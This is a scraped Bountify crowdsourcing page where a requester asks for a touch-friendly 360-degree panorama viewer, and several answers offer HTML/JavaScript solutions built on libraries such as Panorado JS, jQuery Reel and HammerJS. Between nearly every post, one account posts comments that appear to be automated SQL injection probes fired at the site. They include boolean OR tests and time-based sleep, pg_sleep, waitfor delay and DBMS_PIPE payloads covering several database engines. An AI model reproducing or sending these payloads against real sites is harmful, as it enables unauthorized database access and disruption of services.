360 degree panorama tour - touch responsive
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I would like to get something working like this

http://tours.imagemaker360.com/Viewer/60.asp?id=124405

but works on a tablet and for touch devices. Lets assume i have an image that looks like this

http://tours.imagemaker360.com/media/virtualtours/panoramicimages/1053283.jpg

we should be able to pinch and zoom as well as use a mouse for the needed actions like in the example

The page can be in a bootstrap 3 template as a base.

cZ7B3FaR
gbtagbbj 3 months ago
-1 OR 2+133-133-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+133-133-1=0+0+0+1
gbtagbbj 3 months ago
1 RLIKE (SELECT (CASE WHEN (168=168) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
C68yaZ5J'
gbtagbbj 3 months ago
-5 OR 741=(SELECT 741 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 630=(SELECT 630 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
wzzCFXEi' OR 204=(SELECT 204 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
CeJIRhzQ') OR 730=(SELECT 730 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
kavDZRrs')) OR 566=(SELECT 566 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
-1 OR 2+44-44-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+44-44-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+711-711-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+711-711-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+410-410-1=0+0+0+1 --
gbtagbbj 3 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
-1' OR 3+410-410-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+502-502-1=0+0+0+1 or 'a7rAi9Er'='
gbtagbbj 3 months ago
-1' OR 3+502-502-1=0+0+0+1 or 'a7rAi9Er'='
gbtagbbj 3 months ago
-1" OR 2+976-976-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+976-976-1=0+0+0+1 --
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
gBv97XEg'
gbtagbbj 3 months ago
-5 OR 820=(SELECT 820 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 948=(SELECT 948 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 445=(SELECT 445 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
KEMxCsa7' OR 568=(SELECT 568 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
KpRJDiZb') OR 114=(SELECT 114 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
fFCXHbiB')) OR 12=(SELECT 12 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
-1 OR 2+218-218-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+218-218-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+710-710-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+710-710-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+18-18-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+18-18-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+858-858-1=0+0+0+1 or 'VKUjQ1vT'='
gbtagbbj 3 months ago
-1' OR 3+858-858-1=0+0+0+1 or 'VKUjQ1vT'='
gbtagbbj 3 months ago
-1" OR 2+251-251-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+251-251-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
wXMEonVy'
gbtagbbj 3 months ago
-5 OR 422=(SELECT 422 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 526=(SELECT 526 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
QLK6FcrL' OR 878=(SELECT 878 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
ilRlyNAa') OR 775=(SELECT 775 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
sILmd2ir')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
GfpkhwaX
gbtagbbj 3 months ago
-1 OR 2+431-431-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+431-431-1=0+0+0+1
gbtagbbj 3 months ago
RLIKE (SELECT (CASE WHEN (967=967) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
PdMJOKKe'
gbtagbbj 3 months ago
-5 OR 586=(SELECT 586 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 331=(SELECT 331 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
YbWhRz6G' OR 324=(SELECT 324 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
n6u7HMpp') OR 248=(SELECT 248 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
GjpviKvg')) OR 448=(SELECT 448 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
awarded to Wikimedia

Crowdsource coding tasks.

4 Solutions


I have made this with a library called Panorado JS (Homepage) which works as you want I think.

Unable to provide demo because external images doesn't seem to work with the library. Here is a animated gif showing how it works though: http://i.imgur.com/3cL5bGU.gif

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Panorama</title>
  <script src="http://panorado.com/Download/Panorado_min.js" type="text/javascript"></script>
  <script type="text/javascript">
  window.onload = function() {
    Viewer = new PanoradoJS(document.getElementById("ViewerCanvas"));
    Viewer.image = {
      src: '1053283.jpg',
      projection: 'flat'
    };
  }
  </script>
</head>

<body>
  <canvas id="ViewerCanvas" style="width:800px;height:450px">
    Please update your browser for HTML5 support!
  </canvas>
</body>

</html>
Are you able to post a solution to codepen or jsfiddle?
Qdev over 8 years ago
Sure! http://embed.plnkr.co/NLGdzLbSTAcy6BV7akte/preview If you click on edit, you'll see the source
VictorBjelkholm over 8 years ago
-1 OR 2+65-65-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+65-65-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+763-763-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+763-763-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+130-130-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+130-130-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+121-121-1=0+0+0+1 or 'dLJUV6Wr'='
gbtagbbj 3 months ago
-1' OR 3+121-121-1=0+0+0+1 or 'dLJUV6Wr'='
gbtagbbj 3 months ago
-1" OR 2+735-735-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+735-735-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
14dDq5CH'
gbtagbbj 3 months ago
1TwMxai2' OR 938=(SELECT 938 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
i4DdcW4w') OR 308=(SELECT 308 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
Mns3RTuF')) OR 343=(SELECT 343 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago
hKZamO0m
gbtagbbj 3 months ago
-1 OR 2+616-616-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+616-616-1=0+0+0+1
gbtagbbj 3 months ago
555 RLIKE (SELECT (CASE WHEN (779=779) THEN 1 ELSE 0x28 END)) --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
nMCDI58s'
gbtagbbj 3 months ago
-5 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 566=(SELECT 566 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 467=(SELECT 467 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
EtxW2mZv' OR 984=(SELECT 984 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
F1hnpJnQ') OR 145=(SELECT 145 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
qMujpuRx')) OR 925=(SELECT 925 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago

Try this: http://jsfiddle.net/u6q67/25/ http://jsfiddle.net/u6q67/25/show

It uses http://reel360.org/reel

Compatible with Safari 3+, Firefox 3+, Chrome, IE 6+ and Opera 9+, iOS, Blackberry 10 and Android 2.3+

Example: http://test.vostrel.net/jquery.reel/example/index.html

Options:http://reel360.org/reel#options

HTML5 Fullscreen API actually are experimental and wors only on latest desktop browser and doesn't works inside a iframe.

-1 OR 2+984-984-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+984-984-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+256-256-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+256-256-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+510-510-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+510-510-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+586-586-1=0+0+0+1 or 'yjkFDNMJ'='
gbtagbbj 3 months ago
-1' OR 3+586-586-1=0+0+0+1 or 'yjkFDNMJ'='
gbtagbbj 3 months ago
-1" OR 2+895-895-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+895-895-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
m6F9B5oS'
gbtagbbj 3 months ago
-5 OR 822=(SELECT 822 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 533=(SELECT 533 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
MiTThFYc' OR 624=(SELECT 624 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
X6mz6d46') OR 706=(SELECT 706 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
YpLUcR0e')) OR 308=(SELECT 308 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago

Hi,

I've created this solution using this script: http://www.univie.ac.at/ptox/uploads/panorama/preview/index.html

It is Responsive and it's working on every Device. It is working with css backgrounds too, not only with images.

JSFiddle: http://jsfiddle.net/dVfBW/

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
    <script type="text/javascript" src="http://skylightdev.net/panorama/jquery.panorama.min.js"></script>

    <script type="text/javascript">
        $(document).ready(function(){

            //START panorama            
            $('#panorama').panorama({                
                speed:15,
                move: 500,
                wheel: 2,
                drag: 1,
                attenuation: 3,
                // to display the true size of the image
                //size:true,
                fps:60
            }); 
        });
    </script>    
</head>
<body>
    <div id="panorama" style="width:1000px">
        <div class="panorama_preloader" style="margin: 0 auto;width:32px;top: 50%; margin-top: -16px;"><img src="http://skylightdev.net/panorama/img/loading.gif"></div>
        <div class="panorama_img"><img data-src="http://skylightdev.net/panorama/img/panorama_demo.jpg"></div>
        <div class="panorama_title">

    </div>
</div>
</body>
</html>
Thx for the work! are you able to get zooming workng on this? when i tried to ping and zoom on mobile nothing happens. On desktop the scroller seems to latch on to panning so maybe you have an idea around this?
Qdev over 8 years ago
When I first saw the script, it had the scroll wheel implemented for the panning indeed. For the zooming it does need some more work to be done on the script as I didn't write it myself. I can try to remake it and see what can I do if you like :). Please let me know
SkylightDev over 8 years ago
-1 OR 2+178-178-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 3+178-178-1=0+0+0+1 --
gbtagbbj 3 months ago
-1 OR 2+988-988-1=0+0+0+1
gbtagbbj 3 months ago
-1 OR 3+988-988-1=0+0+0+1
gbtagbbj 3 months ago
-1' OR 2+581-581-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 3+581-581-1=0+0+0+1 --
gbtagbbj 3 months ago
-1' OR 2+806-806-1=0+0+0+1 or 'FozuE4yR'='
gbtagbbj 3 months ago
-1' OR 3+806-806-1=0+0+0+1 or 'FozuE4yR'='
gbtagbbj 3 months ago
-1" OR 2+93-93-1=0+0+0+1 --
gbtagbbj 3 months ago
-1" OR 3+93-93-1=0+0+0+1 --
gbtagbbj 3 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 3 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 3 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 3 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 3 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 3 months ago
lmZx0WUx'
gbtagbbj 3 months ago
-5 OR 557=(SELECT 557 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-5) OR 686=(SELECT 686 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
-1)) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
6XdZW3Os' OR 130=(SELECT 130 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
bgm24PzN') OR 490=(SELECT 490 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
gz5aTHez')) OR 710=(SELECT 710 FROM PG_SLEEP(15))--
gbtagbbj 3 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 3 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 3 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 3 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 3 months ago

https://skydrive.live.com/?cid=2B542EF04BD69AFE&id=2B542EF04BD69AFE!1372#cid=2B542EF04BD69AFE&id=2B542EF04BD69AFE!1372

I've created a custom panoramaViver, it uses css background-repeat and background-position.
Thanks to HammerJs it supports multitouch gesture on every devices,

I read up on how to obtain a equirectangular effect as like example: http://tours.imagemaker360.com/Viewer/60.asp?id=124405 in HTML5. Unfortunately, I deduced that it is only possible with WebGL that are not supported on the mobile:http://mrdoob.github.io/three.js/examples/webgl_panorama_equirectangular.html
However, you can simulate if instead of using a single 360 image, you use many images with lens correction.
To do this may be useful: http://ggnome.com/pano2vr.
Stefano Balzarotti over 8 years ago
View Timeline